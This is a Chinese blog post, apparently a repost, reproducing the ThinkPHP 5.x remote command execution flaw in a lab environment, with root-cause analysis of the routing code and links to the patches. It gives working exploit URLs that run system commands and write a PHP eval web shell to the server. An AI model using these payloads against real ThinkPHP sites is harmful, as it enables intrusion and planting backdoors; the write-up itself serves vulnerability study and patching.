0x00復現(xiàn)環(huán)境

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 遠程命令執(zhí)行漏洞利用（GetShell）

0x01步驟

點擊start to hack 進入環(huán)境頁面 run the project 然后訪問給出的target address
執(zhí)行系統(tǒng)命令顯示目錄下文件
http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

執(zhí)行phpinfo
http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

寫shell

http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
想你所想，發(fā)揮創(chuàng)意

0x02漏洞原理分析

關鍵代碼

在修復之前程序未對控制器進行過濾，導致攻 擊 者可以通過引入 \ 符號來調(diào)用任意類方法。

$this -> app -> controller 方法來實例化控制器，然后調(diào)用實例中的方法。
follow the controller method：thinkphp/library/think/App.php

通過parseModuleAndClass方法解析出$module和$class，實例化$class。

thinkphp / library / think /App.php

當$name以反斜線\開始時直接將其作為類名。
利用命名空間的特點，如果可以控制此處的$name（即路由中的controller部分），那么就可以實例化任何一個類。

thinkphp/library/think/route/Rule.php
往回看路由解析的代碼，其中route/dispatch/Url.php:: parseUrl方法調(diào)用了route/Rule.php:: parseUrlPath來解析pathinfo中的路由信息

route/dispatch/Url.php

route/Rule.php

使用/對$url進行分割，未進行任何過濾。

路由url從Request::path()中獲取

其中，我們來看一下pathinfo函數(shù)

由于var_pathinfo的默認配置為s，我們可利用$_GET['s']來傳遞路由信息，也可利用pathinfo來傳遞
但測試時windows環(huán)境下會將$_SERVER['pathinfo']中的\替換為/。結合前面分析可得初步利用代碼如下：
index.php?s=index/\namespace\class/method
這將會實例化\namespace\class類并執(zhí)行method方法

0x03 漏洞PoC

使用的是pocsuite框架

0x04 漏洞修復

Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

0x05 漏洞利用（目前出現(xiàn)的***手段）

威脅預警 | ThinkPHP v5新漏洞***案例首曝光

0x06 reference

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/

【2019-1-24更新】發(fā)現(xiàn)大佬們的動態(tài)調(diào)試 下一個復現(xiàn)可以試一試

轉(zhuǎn)載于:https://blog.51cto.com/11834557/2328927

總結

以上是生活随笔為你收集整理的【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。